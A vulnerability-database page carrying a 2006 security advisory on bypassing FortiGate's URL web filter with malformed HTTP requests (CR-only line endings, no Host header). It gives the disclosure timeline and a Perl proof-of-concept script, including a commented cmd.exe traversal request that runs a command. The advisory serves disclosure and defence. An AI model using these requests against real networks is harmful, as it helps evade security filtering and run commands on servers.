Lucene search
K

Fortinet-url.txt

🗓️ 14 Feb 2006 00:00:00Reported by Mathieu DessusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Fortinet web filter bypass via special HTTP request

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-3058
14 Feb 200619:00
cve
Cvelist
CVE-2005-3058
14 Feb 200619:00
cvelist
EUVD
EUVD-2005-3058
7 Oct 202500:30
euvd
NVD
CVE-2005-3058
31 Dec 200505:00
nvd
Prion
Hardcoded credentials
4 Sep 200910:30
prion
securityvulns
[Full-disclosure] URL filter bypass in Fortinet
13 Feb 200600:00
securityvulns
`URL filter bypass in Fortinet  
  
  
Severity: Low  
Impact: Bypass Fortinet web filter  
Vulnerabilty type: Design error  
Affected products: FortiGate v2.8  
CVE reference: CAN-2005-3058  
  
  
Vulnerability Description:  
-------------------------  
  
It is possible to bypass Fortinet URL blocker by making special HTTP requests:  
- if each line of the request is terminated by CR instead of CRLF  
- if there's no host field in HTTP/1.0 request  
  
Theses request are "tolerated" by the HTTP RFC 2616, par. 19.3, and most of  
the web servers replyes to them, however, Fortinet failed to parse such URLs.  
  
  
This bug was tested on FortiOS v2.8MR10 and v3beta.  
The IPS module is not affected by this vulnerabylity.  
  
  
Exploit:  
-------  
  
See the perl scrip below.  
  
  
Solution:  
--------  
  
No solution available yet.  
  
  
Vendor Response:  
---------------  
  
08/11/2005 The vendor was contacted (using support web site), and a  
perl script for reproducting the problem was provided  
08/16/2005 The vendor asked for more information  
08/18/2005 Network dumps and explanations sent to the vendor  
08/25/2005 The vendor said this this was escalated to the dev team.  
01/04/2006 Status asked to the vendor.  
02/06/2006 The vendor was informed that this information will be  
published in 1 week.  
  
Credits:  
-------  
  
Discovered by Mathieu Dessus (mdessus(a)gmail.com).  
  
_____________________  
  
Perl script for testing the vuln:  
  
# http_req.pl  
#  
# Made by (Mathieu Dessus)  
#  
# Make a filter for /test* URL in the Fortigate and  
# remove the # depending on which HTTP request you want to test  
  
use IO::Socket;  
  
$target = '1.2.3.4';  
  
# Detected  
$data = "GET /test HTTP/1.1\r  
Host: $target\r  
Pragma: no-cache\r  
Accept: */*\r  
\r  
";  
# Not detected  
$data = "GET /test2 HTTP/1.1  
Host: $target  
Pragma: no-cache  
Accept: */*  
  
";  
  
# Not detected  
$data = "GET /test3 HTTP/1.0\r\n\r\n";  
# Detected  
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";  
# Detected :)  
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";  
  
  
my $sock = new IO::Socket::INET (  
PeerAddr => $target,  
PeerPort => '80',  
Proto => 'tcp',  
);  
die "Could not create socket: $!\n" unless $sock;  
print $sock $data;  
read($sock, $ret, 600);  
print($ret."\n");  
close($sock);  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation